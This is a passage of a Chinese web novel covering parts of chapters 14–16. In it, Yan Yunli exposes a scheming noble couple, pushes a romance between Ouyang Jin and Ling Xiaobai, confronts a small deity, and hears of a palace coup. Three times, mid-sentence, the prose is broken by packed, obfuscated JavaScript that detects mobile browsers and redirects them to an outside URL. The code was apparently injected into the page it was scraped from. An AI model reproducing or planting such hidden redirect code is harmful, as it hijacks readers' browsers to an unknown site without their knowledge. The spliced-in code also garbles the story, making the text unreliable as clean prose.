那女人就别人的好言相劝就当没听见,大声道:“在我成亲之前,这个欧阳瑾与我夫君去年也合过一次媒,结果八字不合,被我公公否决了,谁知她贼心不死。明知我夫君娶了我,她还偷偷摸摸地给我夫君写信,这不是贱人是什么!” “你胡说!简直、简直就是空穴来风,我什么时候写过信?你含血喷人!”欧阳瑾委屈地说道。 燕云离眯了迷眼睛,这种恶人就那么些伎俩,无非就是以小人之心度君子之腹,骂别人不死心多半是她自己不死心,她一说话燕云离就能猜出个大概来了,对付这种恶人跟她讲道理是没有用的。 燕云离回身,用扇子轻轻拍了拍欧阳瑾的手臂,让她稍安勿躁,然后回身道:“这么说,夫人与这位王公子八字相合,是天作之合了?” 那女人没想到燕云离忽然来这么一句,愣了一下,然后嚣张道:“是又如何,我公公就是当朝太师,我是定国公亲自挑选的儿媳妇,比这个贱人高贵百倍。” 原来是王栋的儿子儿媳,燕云离顿时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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王冰摸了摸自己的手背,脸上竟然浮起一丝红晕,他转过身道:“立春时,宫廷晚宴上捡到的。我看到欧阳姑娘走过,留下了这封信,当即就捡了起来。我以为是给我的,我对欧阳姑娘也心仪已久……” 他说到这里的时候,那被点穴的女人激动起来,挣扎着想要动,可除了急出一身汗,哪里都动不了。 王冰又道:“后来我跟父亲提了想娶欧阳姑娘的事,可父亲大人找人合了我们的八字,说是天生相克,否决了我的提议,只好作罢。” 欧阳瑾柳眉蹙起:“既然毫不相干,王公子你也已成亲,过好自己的日子就好,为何又要让你的夫人误会?!” 王冰腆着肚子,脸上的神情变得阴暗起来:“也不知是不是老天捉弄我,有人推荐这个女人给我爹,说是与我八字相合,天生旺夫,谁知娶过门之后发现她脾气暴躁、行为粗鲁,成婚之后没多久,我就顽疾缠身。再找算命先生一算,才发现之前算错了,这个女人才是我的克星!而欧阳姑娘的命格是天生的极贵之命,皇后的命格。我现在悔不当初!” 燕云离摇了摇扇子,心道:这一点这猪头男倒是没说错,欧阳瑾的确是皇后命格,她的夫君必然会君临天下,绝不可能是王冰这种无耻之人。 欧阳瑾也吃了一惊,她从小在尚书府长大,父亲哥哥都对她疼爱有加,绝对不会将她嫁给她不喜欢的人,她没料到这背后还有这样的故事。 “那、那位算命先生人呢?”她忍不住问。 王冰抽了抽鼻子,阴冷道:“自然是被我爹五马分尸了。他犯了这样的错,还能留着他么。” 欧阳瑾倒吸一口凉气。 燕云离也停住了摇着扇子的手,王栋心狠手辣,他的儿子也不是善类,要说还多亏了那位算命先生算错,要不然欧阳瑾面对的还不知道是怎样的灾难。 可不能让他休妻,这样的绝配应该锁死,不能放出来害人! 燕云离轻咳了一声,故意道:“虽是如此,毕竟这位夫人也是王公子你明媒正娶取回来的正妻,这一世天注定的缘份,不如将错就错,说不定以后的日子就好起来了呢。” 王冰指着他夫人的鼻子道:“这个女人当初为了进我王家的门,找人偷偷改了自己的生辰八字,谎称与我天生一对,她根本不是什么好人,贪图我家的富贵而已,我现在才知道她的真面目,她真正的生辰八字就是克我的!” 听一个坏人骂别人不是好人,这事还真是令人无语。 燕云离不想跟他们纠缠了,开始撵客:“既然已经知道来龙去脉,公子家中的事回去处理吧,欧阳姑娘既然有意中人,必然也无心嫁你,公子就带夫人回去吧,这出笑话在下就当没看到了。” 王冰不甘心道:“不是的,当初若不是我父亲弄错,我就会娶欧阳姑娘了,这信……” “这信不是给你的。”欧阳瑾斩钉截铁地打断他。 “不是我那是谁?当时在花园河池边除了我并无第二个世子,欧阳姑娘,你就承认吧。”王冰死皮赖脸道。 欧阳瑾咬了咬嘴唇,有个名字呼之欲出,但她突然想到王冰刚才说她的命格是皇后命格,她若是说出那个人的名字,岂不是对那个人不利…… 正在这时,门口忽然响起了个声音:“是我。” 众人皆抬头望向门口,只见一挺拔隽秀的身姿走了进来,凌宵白穿着一身银色劲装锦服,一只手按着腰间的宝剑,英姿勃勃。 好耶!男主角到了!燕云离心里暗暗拍手,赶紧撮合了他和欧阳瑾也好,一是弥补了上一世的遗憾,二是让欧阳瑾赶紧把他带走远离自己。 王冰看到比自己高比自己帅的凌宵白走进来,气不打一处来,在东都还没有哪家的公子敢跟他大声说话。 “你是哪根葱,赶在这里大言不惭。”王冰指着凌宵白道。 凌宵白垂下眼皮:“在下凌宵白,是个武夫,阁下最好不要拿手指放在我面前,免得我训练惯了一下子被控制住自己的剑,给你手指削掉。” 王冰瞬间缩回了手指,嘴里却念叨起来:“原来洛川侯爷家的小世子,哼,去年晚宴的时候你根本不在宾客名单上,何来是你一说?撒谎也不打草稿。” 凌宵白冷哼了一声:“洛川离东都不过数百里,去年我的确不在宾客名单上,但当初我正在与异族首领谈判,处理边疆的问题。去东都不过一夜路程,当时听闻宫廷要连办三天夜宴,我也想见识一下东都的名流,所以不请自来,期间偶遇欧阳姑娘,相谈甚欢,我送了一块飞鸟玉佩给欧阳姑娘,欧阳姑娘亦说要在最后一晚的夜宴回赠礼物,哪知我白天突然收到前线的战报,提前走了,让欧阳姑娘空等了,抱歉。” 他说完对欧阳瑾微微躬身,欧阳瑾也立刻给他回了个礼,意思很明显——赞同他的说法。 王冰气得鼻子冒烟:“你胡说,你有何证据?!” 这时,姚铮从后面的小门快步走了进来,手里还拿着一块白白的东西,边走边喊:“先生,我找到了!两个鸟儿拼成一对的玉佩,这位姑娘的玉佩,我找到了!” 欧阳瑾结果那玉佩,脸上一红,小声对燕云离道:“的确是这个。” 燕云离顿时明白过来,欧阳瑾定是最后一晚没有见到凌宵白,没有送出去那封信,后来对着玉佩睹物思人,便找人定制了一块同样的且拼接成了双鸟玉佩。 凌宵白瞧见那块玉佩,那两只鸟儿确实与他的一模一样,不由点头。 欧阳瑾道:“当时我等了一夜,未等到凌小世子,心中焦急,走的时候不小心把信遗失了,找寻无果,我也没想到竟然被王公子捡到了。” 王冰没想到自己搞了半天,最后落得个闹笑话的下场,他恶狠狠地看向自己的夫人,咬着牙对燕云离道:“先生请解穴吧,我先带贱内回去,其他的事以后再说。” 燕云离扇子一扬,解开了王夫人身上的穴道,但保留了哑穴暂时没给她解开,需再等半个时辰才能自行解开,他现在可不想听那女人再闹翻天。 王冰本身也不关心这女人死活,竟也没发现她不说话的异状。他本来想借这个机会,让这女人在欧阳瑾面前闹,他回去后正好以此理由休妻,然后再迎娶欧阳瑾,现在都泡汤了,还碰了一鼻子灰,他现在一肚子气,只能先拉着女人灰溜溜地回去。 那两人走后,燕云离关上了门,回头一看,屋子里站着的四个人仿佛宿命的安排,竟全是上一世大渊的古人,他一时百感交集,喉咙发紧。 凌宵白对欧阳瑾拱手道:“欧阳姑娘,抱歉,上次是我不告而别,没想到会给你造成这么大的麻烦。” 欧阳瑾眼眶湿润:“不要紧,人海茫茫,知己难求,不用说太多,世子应该记得我们谈过最喜欢的枕云先生的诗,世间事,分久必合合久必分,分分合合皆是因缘。” 凌宵白脸上露出久违的微笑:“记得,我们彻夜畅谈《九略》,欧阳姑娘是我见过唯一一位喜欢读兵书的女子,真巾帼英雄也!我有个好消息要告诉你,我找到枕云先生本人了。” 燕云离:“???” 不是,你俩谈恋爱就谈恋爱,别带上我啊??? 15.第 15 章 马车晃晃悠悠地行进在东都大街上,姚铮在外驾车,凌宵白与欧阳瑾面对面坐在两边座位上,似乎有说不完的话。 燕云离坐在主位上,用扇子遮住下半张脸,露出一双美得惊人的眼睛,充满怨气地盯着右边的凌宵白。 他就不明白了!方才明明要凌宵白单独送欧阳瑾姑娘回家,凌宵白却非要拉上他一起!还把他架得那么高,说他是凌宵白和欧阳瑾自小就仰慕的大家…… 啊喂!他也没那么老好吗?他也就比他们大小几岁而已。何况,谁稀罕一个死人的仰慕啊……呃,这么说好像有点对不起欧阳瑾。 燕云离的目光从马车车厢右边挪到左边,落到欧阳瑾脸上。 欧阳瑾虽然算不上倾国倾城,但容貌端庄、气质如兰,看着就很舒服的那种,父亲又是礼部尚书,她知书达礼,又与凌宵白兴趣相投,这么好的媳妇儿简直打着灯笼也找不着! 若是能早一点促成他俩的姻缘,让凌宵白早一点成家,说不定还可以弥补上一世的遗憾,欧阳瑾也不用死了,自己也能落个清静。 燕云离瞪着眼睛努力地回忆着,上一世欧阳瑾走得非常早,他记得是在他刚到洛川军军营的时候听到了这个噩耗,那就是说是十三年前的事,有些细节他一下子想不起来了…… 比如他记得上一世凌宵白和欧阳瑾的确成了婚,但是他对婚礼毫无印象,如果办了婚礼他这个丞相是不可能不参加的,所以婚礼肯定不是在洛川办的…… 这时候听到欧阳瑾的声音打断了燕云离的思绪,只听她道:“听闻洛川风景壮美奇特,我一直想去游历一番。” 好机会!燕云离一下竖起耳朵,这可是人家姑娘的主动暗示啊! 这么明显的暗示凌宵白不会听不懂吧?! 果然,接下来他就听到凌宵白像个二愣子直男似地道:“洛川到东都路途虽不艰险,不过一路上山贼流寇时有出没,并不安全。” 燕云离一听,赶忙放下扇子对欧阳瑾道:“欧阳姑娘放心,我们凌小世子武艺高强,有他一路护送,天南海北姑娘大可放心游历。” 话都说到这了,燕云离斜着眼睛,对凌宵白使了个眼色。 以他们上一世的默契,燕云离觉得凌宵白一定懂接下来该说什么。 哪知凌宵白就像完全收不到消息一般,居然睁着大眼认真严肃道:“现如今兵荒马乱,还是不要轻易出游为好,万一对方人多,我一人也双拳难敌四腿,难保姑娘周全。” 谁让你认真分析啊喂!!!我这是在给你制造两人独处的机会!!! 燕云离两眼一黑差点晕厥过去,他真想一扇子拍在凌宵白脑门上,把他拍醒。 紧接着,凌宵白又不知好歹道:“我想尚书大人也不会放心你一个人出门的。” 欧阳瑾比他大方多了,反驳道:“那倒不会,我爹一向尊重我的意愿,只要我想,爹一定会答应的,其他女子读《女德》,我不想读,我就喜欢看《九略》,爹二话不说就答应了。我也常羡慕哥哥能时常出去游历,爹也说过,等以后世道太平了,就让我出去。” 燕云离几乎是“目露凶光”地用眼刀杀向凌宵白了,人家姑娘都说到这个份上了,再不接话就不配做男人了! 凌宵白这次像“开窍”了似的点点头,一脸赞同的表情。 燕云离的眉头稍微舒缓了一点,他伸出手指,揉了揉眉心,内心道:你给我好好约人家!!! 凌宵白一开口差点没让他摔倒,只听凌宵白用他那深思熟虑的语气说道:“尚书大人说得有理,所以等太平了,再出门。”” 要不是现在不是“军师”的身份,燕云离很想把凌宵白踹下马车,他气得猛摇扇子。 凌宵白转过头,一脸奇怪地看向他:“春寒未尽,枕云先生就开始怕热了?” 老子心里烦! 燕云离不说话,只白了他一眼,扭过头去看着窗外。 凌宵白吃了个闭门羹,只好闭上嘴巴。 欧阳瑾看了他二人几眼,忽然面颊飞红,嘴角挂笑道:“真羡慕小世子,枕云居在洛川境内,世子可以经常看到枕云先生。” 燕云离转过头:“欧阳姑娘你误会了,枕云居不在洛川,在东都,以后我就定居在东都了。说来,我那枕云居你哥哥还有股份呢。” “啊?”欧阳瑾惊呆了。 马车很快到了欧阳府。 几人送欧阳瑾下了马车,欧阳府的大门恰好开了,欧阳璇像一阵风似地从大门内冲了出来,一把抓住欧阳瑾的手:“妹妹,听说你今天道到王冰了,他为难你了?” 他一翩翩公子,难得看到这般慌张的模样,看来是真的心疼自己妹妹。 欧阳瑾微微一笑,安抚般地轻拍他的手臂,回头道:“哥哥,你看我身后这是谁,有他们在谁能欺负我。” 欧阳璇看到一旁的燕云离与凌宵白,不由哈哈一笑,有这两位大神在,确实无忧。 “凌小世子、枕云先生,既然来了,就到舍下坐坐吧,也让在下感谢二位送小妹回来。”欧阳璇道。 凌宵白不太想跟这些风流纨绔打交道,要不是看在欧阳瑾的面子上,他连话都不想跟欧阳璇说太多,正要拒绝,就听燕云离道:“难得有机会参观尚书府,那就打扰了。” 凌宵白:“……” 燕云离到底是怎么回事?他不是在书里写过参加言不及义的聚会等于浪费生命么,怎么他反倒像个花蝴蝶似的,在东都大到皇宫府邸、小到街巷市井,到处飞舞,也不怕被别有用心的人惦记上!到底要怎么样才能让燕云离乖乖跟他回洛川呢…… 就在凌宵白摸着下巴琢磨的时候,惊觉一行人已经进了欧阳府的大门,他只好提步迈开长腿跟了上去。 燕云离身着青色长衫,摇着白羽团扇闲庭信步地走在前面,慢慢悠悠打量着欧阳家府邸里的光景,俨然一副客人的样子。 凌宵白紧跟在他身后,心道:这有什么好看的,不过是普通宅院,我们洛川侯府比这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15227831|162674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大多了好看多了。 燕云离也不理他,一路与欧阳璇聊着东都的各种八卦,顺便还把王冰的所作所为绘声绘色地说了一遍。 “那个坏蛋娶了这种恶妻,真是天生一对,希望他俩锁死,千万不要出来害别人。”欧阳璇道。 燕云离赞赏道:“欧阳兄的观点与燕某一致,果然是我枕云居的知己。” 凌宵白鼻子里不服气地哼了一声,什么知己?他凌宵白少年英雄保家卫国燕云离瞧不上,这一东都纨绔子弟欧阳璇就能当他的知己了? 欧阳璇道:“我欧阳璇虽然风流但绝不下流,也绝不会耽误一个好女子……” 还能这样往自己脸上贴金的?凌宵白不屑地抿了抿嘴角…… 哪知燕云离赞同道:“欧阳兄不愧是枕云居的大股东,今后可要多关照店里的生意。” 凌宵白:“……” 很难相信这是枕云先生说的话,他难道又在图谋什么?凌宵白露出怀疑的神情。 几人到了宴厅,有下人来看了茶。 欧阳璇道:“听闻枕云先生修行的寂灭岛在东海之外,这是我在东海之滨游历时带回来的大红袍,先生品一品味道还可正宗。” 燕云离端起茶碗,揭开碗盖,轻轻吹了几口,香气飘到他鼻子里,他微微一笑道:“的确是好茶,只不过这是茶农自己种的,茶树年份不超过十年,要想喝到真正山林里天然老茶树的茶,恐怕还得亲自跑一趟。” “先生果然是行家,光闻香气都能闻出茶树的年份来,佩服佩服!”欧阳璇抱拳。 两人客气着品茗,凌宵白这边听到两人的对话,心里冒出的却是别的想法:没错!燕云离修行的寂灭岛远在东海之外,离东都有数千里之遥,再要去到更西边的洛川那是更加遥远。燕云离出师入世,第一件事是跑到最远的洛川定居,这说明什么? 这说明他本就是打算投靠洛川侯府啊!若是对洛川无意,哪有人舍近求远的呢! 凌宵白一拍大腿!我可真是聪明绝顶! 他这一拍动静太大,其他人的目光齐刷刷地转向他这边来,凌宵白强压住向上扬起的嘴角,努力恢复严肃的表情,手指在裤子上的外套衣摆上摩擦了几下。 “有只小飞虫,咳……” 欧阳璇惊讶片刻,随即抬头道:“现在才三月,春寒未尽,这么快就有飞虫了吗,来人,拿熏香来。” “不用麻烦了,我没事。”凌宵白赶紧拒绝。 欧阳璇只当他客气,笑道:“世子不用客气,这熏香是我从天竺带回来的,香味浓郁,正好也请枕云先生闻闻。” 他拍了拍手,堂下立刻有下人欠身转头出去,拿熏香去了。 此时又有人端了果盘点心过来,放在几人面前的案几上。 燕云离眼睛一瞥面前果盘里的葡萄,忽然感觉有些不对劲,其中一颗硕大圆润晶莹剔透与旁边的看起来就不一样,他嘴角立刻扬了起来。 小神仙,看你这次往哪跑! 16.第 16 章 那颗葡萄似乎也感觉到了危险在靠近,骨碌着想往葡萄串里躲。 它这不动还不要紧,一动愈发显得与其他葡萄不一样。 燕云离伸出手指,用食指和拇指去捻那蓝紫色的圆胖儿,就在他的手指即将碰触到光滑的葡萄皮的一瞬间—— 哔啵! 随着一声熟悉的脆响,一朵绯红色的祥云出现在案几上方,祥云上坐着的果然是那个粉雕玉琢的白发小仙长!只是他的头发不像之前那么梳得那么干净,几缕银色发丝凌乱地散在鬓边,脸颊上好像还有些灰尘。 “你这是……跟人打架了?”燕云离一愣。 小神仙没有了往日的淡定与从容,反而看起来有些神色慌张:“我怎么到这儿来了?” “今天你别想装了!”燕云离眯起眼睛,“不把你上次搞鬼的事说清楚,你别想逃。” “我搞鬼?什么时候?”小神仙一脸不解。 “你猜我还信不信你说的话。”燕云离一边骂一边用眼角的余光扫过正殿上方,这毕竟还在欧阳璇家里,小神仙当着众人的面就这么现身了,也不知道其他人看不看得到。 然而其他人似乎并看不到燕云离和小神仙,周围就像时空凝固了一般隔绝开来,只有燕云离和小神仙独处在一个唯一能动的空间里。 “你给我解释清楚到底怎么回事?为什么会出乱子?!”确信其他人看不到之后,燕云离也顾不上形象了,一只脚踩在案几上,拿着扇子的手臂张开,对对小神仙形成包围之势,防止他随时逃跑。 小神仙看见他,也是很惊讶:“燕大美人,你怎么也会在这儿?” 燕云离的一双美目眯成两条直线:“你叫谁?” 小神仙环顾四周,然后拍着自己的脑门,一副大梦初醒的样子:“哦是你……你不记得那边的事,我,我怎么又回到这里来了……等等,这是欧阳璇的家,你怎么跑到这里来了?!” 燕云离这回没客气了,直接揪住他的脖子前项圈上的金色铃铛,把他拉得靠近了些:“你别装神弄鬼了,我为什么会在这里你不知道?” 小神仙扭头看到上方端着酒杯的凌宵白,更是吃惊了:“凌宵白怎么也在这?糟了!” 小神仙伸出手指,嘴里念念有词,看起来似乎真的很慌张,但燕云离一点儿也没放开手:“今天你不说清楚我不会罢休。” 小神仙忽然抬起头:“糟了,你赶紧带凌宵白离开这里!马上!一刻不可耽误!” “什么意思?”燕云离愣了一下,随即勾起嘴角,“想唬我是吧,别以为这么说我就会放过你,你把我害惨了你知不知道!” 燕云离边说边觉得后腰子还有些拉扯着疼,不由动了动跨在案几上的腿。 “哎呀!真不是!”小神仙急得团团转,“出错了出错了,总之这个时候你和凌宵白都不应该出现在这里,如果你不希望欧阳家现在就被王栋全部杀掉的话就赶紧带他走!” 燕云离冷笑了一声,嘴里道:“我不信,你编也编个像样的理由,欧阳璇的父亲是礼部尚书,目前于王栋而言既无恩怨也无威胁,王栋没事杀他全家做啥?” 小神仙急道:“你忘了上一世欧阳家父子是怎么死的了啊!” 他说着手中拂尘一扬,三千银丝在燕云离眼前晃了一下。 白光晃过,醍醐灌顶。 燕云离顿住了:“你说真的?” 他忽然想了起来,上一世欧阳璇父子不仅宁死不肯陷害凌家,还协助凌老侯爷逃出了东都,临行前将欧阳瑾托付给了凌家,凌老侯爷感念欧阳家的救命之恩,决定让她做自己的儿媳妇,让凌宵白娶她为妻,让她永远受凌家庇护。但令人惋惜的是,凌宵白和欧阳瑾二人似乎连婚礼还没来得及办,欧阳瑾就死于意外。 燕云离抬眼看着不远处的欧阳璇兄妹,内心顿觉不忍。 小神仙催促道:“别犹豫了,赶紧带凌宵白走。” 燕云离扭过头,咬牙对小神仙道:“这宴席才开始,我怎么带他离开。” 小神仙拽住他的手腕,示意他松开自己的铃铛:“你可是天下第一智者鬼仙翁的徒弟,你会有办法的。” 燕云离垂下眼眸,盯着那金色项圈:“你不会是骗我松手,然后又趁机跑路吧?答应我的货源先不说,你给我解释清楚那晚是不是你对凌宵白做了什么,才让他对我……” 小神仙眨眼:“你信我一次,你先赶紧带他走,迟些我就来找你,我保证一定会出现!” 燕云离咬牙:“你要是不出现呢?” 小神仙伸出手:“我保证,我可是神仙,不说谎。” 燕云离沉吟片刻,冷声道:“我就信你最后一次,但是,今晚你必须去驿馆等我,你若是再敢躲着我,我可不能保证会做出什么事情来!” 小神仙拍了拍他的手臂,连连点头:“好好好,我答应你!” 燕云离迟疑了一下,缓缓地松开手,白烟一闪,小神仙和那朵绯红色祥云一同消失了。 燕云离放下脚站起身,整理了一下衣摆,抬头一看,正巧看见欧阳璇和凌宵白在碰杯…… 不是,一眨眼的功夫,他俩什么时候感情这么好了? 也不知是不是欧阳璇带来的西域美酒后劲太足,这两个人上了头还不自知,竟然从一开始隐晦地批判当今朝堂逐渐变成对王栋指名道姓的指责…… “乱臣贼子!” “人人得而诛之!” 这两个傻子不怕隔墙有耳吗?!燕云离背后惊出一身冷汗。 他对欧阳瑾使了个眼色,两人一齐上前阻拦。 欧阳瑾抢过欧阳璇手里的酒杯:“哥,你喝多了,胡言乱语,别喝了。” 燕云离则上前捂住了凌宵白的嘴巴:“快闭嘴吧!别胡说八道了!你倒是可以一走了之,人家还在东都呢,别连累人家了!” 凌宵白酒劲儿上来了,不满地拉开他捂着自己嘴的手,囫囵道:“我怎么胡说八道了,连欧阳公子都知道王栋此人渣不可交,你为何还要贴上去……” “我贴个屁!”燕云离手上用力,还想去捂住他的嘴,“我看你是不是傻了!” 凌宵白不满地抓紧他的手:“你要贴贴我,我这棵树杆不细……” “你给我闭嘴!”燕云离的脸颊一热,再拖下去这家伙不知道要说出什么来了。 他一边架住凌宵白的身体往外拖,一边扭头对欧阳瑾道:“欧阳姑娘,不好意思,今日就到这里了,小世子醉了,我这就带他回去。” 欧阳瑾那边也在用力拉着同样口无遮拦的欧阳璇,她不好意思道:“实在怠慢了,今天就只好到此为止,下次再好好招待枕云先生。” “好说好说。”燕云离拖着凌宵白往外走。 燕云离身材修长,身体劲瘦,力气并不小,但无奈遇到凌宵白这手长脚长军营长大的“蛮汉”,两人拉扯间,燕云离一个趔趄,重心不稳歪头朝地上倒去—— 刚才还在迷迷糊糊的凌宵白就跟换了个人似的,瞬间清醒,大手一伸一下子把人连腰捞了起来。 “你特么是清醒着的啊?”醒悟过来的燕云离骂道。 然而凌宵白又恢复了迷糊的眼神,嘴里喃喃道:“要保护好枕云先生,不能让他摔倒……” “傻子……”燕云离的眼睛眯成两条直线。 “枕云先生,没摔到吧?没事的话,我们回去接着喝。”凌宵白凑近来,盯着他的眼睛道。 没办法,燕云离的眼睛实在太过好看,让人一盯着就挪不开眼睛。 这哪能让他回去接着喝啊,也不知这人是真醉还是假醉,燕云离也管不了那么多了,开口道:“我扭到脚了,要回去休息,不喝了,我们现在回驿馆。” 凌宵白一听“扭到脚了”,不知哪根筋不对,当着众人面直接一个公主抱,把人打横抱了起来。 “枕云先生扭到脚了,我们即刻回去。” 完了完了!脸算是丢尽了。 燕云离干脆用白羽团扇挡住脸,他看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15227832|162674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不见外面,就当做别人也看不见他得了。 凌宵白抱着燕云离,大步离去。 屋子里的欧阳璇目瞪口呆,揉着眼睛道:“盛传凌小世子有短袖之癖,我之前还敢不轻信,这下看来是千真万确了!” 欧阳瑾:“……” * 回到驿馆,凌宵白抱着燕云离直接上了三楼,回到了燕云离之前住现在是他住的那间屋子。 凌宵白刚把燕云离放下来,燕云离脚尖还没落地就立刻跳了起来,反手一掌拍在凌宵白肩后,凌宵白应声倒在了床上。 确认凌宵白睡着了后,燕云离松了口气,直接把人拍晕安全得多,他可再也不想回到这间屋子,重蹈那晚的覆辙了,他现在后腰子还疼! 燕云离把凌宵白的双脚也挪到了床上摆好,拍了拍手就准备离开。 这时,他听到脑后的凌宵白哼哼唧唧:“水、水……” 还来?那晚就是给他喂水把自己交代了! 燕云离像惊弓之鸟一般跃到了门外。 他站在门口听了一会,凌宵白这会的确是昏昏沉沉要睡了,不过喝醉的人口渴也是人之常情,燕云离犹豫了一下,跑去隔壁找姚铮。 “好咧,我这就去给世子哥哥送水。”啥也不知道的姚铮转头就去端水。 “哎你等等。”燕云离叫住他,“喂了水你就赶紧出来,在世子醒之前不要让任何人进去。” “为啥?”姚铮问。 燕云离顿了一下:“别问,照做。” 姚铮自然不敢违背,忙点头道:“是,先生。” 燕云离还有些不放心,站在门口看着姚铮进去喂了水出来。 “没发生什么事?”燕云离问。 姚铮端着空碗,里面的水已经空了:“没啥事啊,世子哥哥喝了水,已经睡了。” 燕云离犹豫了一下:“他没……动手动脚?” 姚铮一脸听不明白:“动手动脚?” 燕云离看了看他憨憨的脸,摆了摆扇子:“算了算了,说了你也不明白,总之你看着门吧,他出来之前不要让任何人进去。” “是!”姚铮用力点头。 * 人已经带回来了,燕云离盘算着等会怎么找小神仙算账,此时已是夜晚,驿馆里还未掌灯,他回到二楼自己房间的时候,屋子里黑漆漆的。 燕云离不是一般人,他刚一推开门,立刻察觉到屋子里有人。 此时,他一只脚在门里一只脚在门外,正犹豫间,屋子里的黑影开口道:“枕云先生,是我,进来说话吧。” 这个声音,是台静池。 难怪这个时辰了,驿馆里还没有掌灯,看来是台静池安排的。 看来东都朝堂里又出事了,燕云离提起后脚迈了进来,顺手掩上了门。 他就站在门里,摇着手里的扇子,轻声道:“无事不登三宝殿,请说。” 台静池站了起来,黑影逼近,在离燕云离三尺的地方停住了。 台静池的声音几乎像气流一般隐隐地传到燕云离的耳朵里:“时局有变,那些大人们不打算等太后生辰了,他们打算在众诸侯到来之前动手。” 燕云离摇着扇子的手未停,默默地等着他说完。 “他们与北幽王的条件未能谈妥,害怕北幽王入驻东都后变成第二个王栋,所以打算提前动手,扶持少帝尽快在诸侯们到来之前,住持大局。”台静池的声音里听不到任何情绪波动,就好像在说一件与他无关的事。 燕云离开口,也用传音入密的声音道:“他们派去动手的人是你。” 隔着黑暗的夜色,也能感觉到台静池神色一动。 黑暗中传来衣袖摩擦的声音,台静池道:“他们以清君侧的名义发了密诏,让我今晚动手,许诺了大将军爵位。” 燕云离微微一笑:“那提前恭喜将军了。” 黑暗中微微传来一声轻咳:“先生莫要开玩笑了,请先生救命。在下,该何去何从。”